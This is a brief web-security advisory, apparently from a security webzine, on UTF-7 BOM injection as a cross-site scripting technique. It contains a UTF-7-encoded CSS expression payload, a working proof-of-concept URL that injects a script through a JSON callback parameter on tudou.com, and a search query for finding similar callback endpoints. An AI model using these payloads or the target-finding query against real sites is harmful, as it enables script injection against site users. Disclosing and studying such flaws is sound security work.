tudou.com UTF7-BOM Cross Site Scripting

`xss attacks through utf7-BOM string injection  
  
the beginning of the utf-7 BOM chascter is from Gareth Heyes's paper 《XSS  
Lightsabre techniques》  
  
---------------------start----------------------------------  
CSS expressions with UTF-7  
• UTF-7 BOM character can force UTF-7 in a external style sheet  
• Would you let me upload a style sheet?  
• @charset „UTF-7‟; works  
• But you don‟t need it  
• +/v8 is all you need  
+/v8  
body {  
font-family:  
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA  
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';  
---------------------------end-----------------------------  
  
this eg is for style sheet, and it work well on html file. like this demo:  
http://www.80vul.com/test/utf7.htm. the file format is only base on the  
first four bytes and the Space. so If we can control the beginning of the  
file bytes of html file, Then we can be injected any html/javascript code,  
it can lead to xss attacks.  
  
json-callback + utf7-BOM string injection == lots of xss vul  
  
online, lots of sites set the json file's Content-Type: text/html. and  
"callback" function name at the first bytes is a ariable. so it leadto xss  
vuls using utf7-BOM string injection.  
  
the demo:  
  
http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas  
  
and u can use GOOGLE Hacking to find where are the callbacks:  
  
site:80vul.com inurl:callback  
  
  
Happy New Year!  
  
thanks Mario Heiderich for u tell me what is "+/v8" :)  
thanks Gareth Heyes for u the nice paper.  
  
--superhei from http://www.80vul.com  
  
--ad--  
About Ph4nt0m Webzine  
  
Ph4nt0m Webzine is a free network Security Magazine,We accept articles in  
English and Chinese, you are welcome contributions .  
mailto:root_at_ph4nt0m.org pls.thank you!  
`